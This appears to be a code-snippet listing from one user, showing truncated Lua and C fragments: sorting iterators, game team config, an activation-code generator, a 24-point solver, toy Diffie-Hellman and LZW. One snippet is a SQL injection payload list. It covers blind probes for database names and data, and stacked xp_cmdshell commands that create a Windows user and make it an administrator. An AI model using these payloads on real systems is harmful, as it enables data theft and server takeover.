rangercyh

--按照table中数值key的升序或者降序遍历table的迭代器
--nSortType传1为降序，不传默认为升序
--使用示例（降序遍历tbtest）：for k, v in gf_PairsByKeys(tbtest, 1) do
function gf_PairsByKeys(tbArray, nSortType)
	local tbkey = {}
	for key, value in pairs(tbArray) do
		if type(key) == "number" then
			tbkey[#tbkey+1] = key
		end
	end

rangercyh

g_requireTeamNum = 6
g_teamNumLowLimit = 3
g_teamNumHighLimit = 7

--[[
[1] = {  
	["teamLink"] = {},
	["totalNum"] = 4,
	["state"] = 1, --1代表不需要匹配，其他为需要匹配
}

rangercyh

local http = require "socket.http"
local json = require "json"

local pfile = io.open("province", "w")
local cfile = io.open("city", "w")
local dfile = io.open("district", "w")

local provinces = {}
local citys = {}
local districts = {}

rangercyh

// write by XiongYi
TreeLinkNode *GetNextNode(TreeLinkNode *root, int seq_req) {
  int seq_init = 1;

  while (seq_init < seq_req) {
    if (IsInLeft(seq_init, seq_req)) {
      root = root->left;
      seq_init = seq_init * 2;
    }
    else {

rangercyh

--激活码生成代码  1.0 beta版
--creator: caiyiheng
--需要和这次排重的前缀：
--PT，VP，WB，WL，SE，WY，TX，XX，GM，DG，DH，RA，RB，RC，EX，XL，GP，GZ，PP，PZ，HD，HG，WX，AW，B1，B2，B3


local new_code = {	
	[73] = { "备用1.txt",     "XX",  10000000 },
}

rangercyh

		int nState = m;
		int mask1 = OLD_STATE;
		int mask2 = DEST_STATE;
		for (int i = 0; i < nPos; ++i)
		{
			mask1 = mask1 << nBit;
			mask2 = mask2 << nBit;
		}
		nState = nState ^ mask1;
		nState = nState | mask2;

rangercyh

id=1 and 1=1
id=1 and 1=2
id=1 and db_name()>0
id=1 and user>0
id=1 and (select count(*) from xx)>0
id=1 and (select cout(xxx) form xx)>0
id=1 and (select top 1 len(xxx) from xx)>0  ->1,2,3......
id=1 and (select top 1 asc(mid(xxx,1,1)) form xx)>0 -> 1-128
id=1;exec master..xp_cmdshell "net user username passwd /add"--
id=1;exec master..xp_cmdshell "net localgroup username administrators /add"--

rangercyh

--[[
24点解法：4个数字的逆波兰式形式只有以下5种。1代表数字，+代表运算符，括号隐藏在逆波兰式的形式中
1111+++
111+1++
111++1+
11+11++
11+1+1+
]]

local target = 24

rangercyh

--[[
diffie-hellman算法简单代码
]]
local low = 10	--约定的随机数集合
local high = 20

local Alice = {}
function Alice:CreateSecret()
	self.g = 2
	self.p = 1019	--素数

rangercyh

function lzwCode(szSource, nBeginCode)
	local tbOutput = {}
	local tbChar = {}
	local szPrefix = ""
	local tbToken = {}
	local nTokenCode = nBeginCode
	for szChar in string.gmatch(szSource, ".") do
		tbChar[szChar] = true
		if szPrefix == "" then
			szPrefix = szChar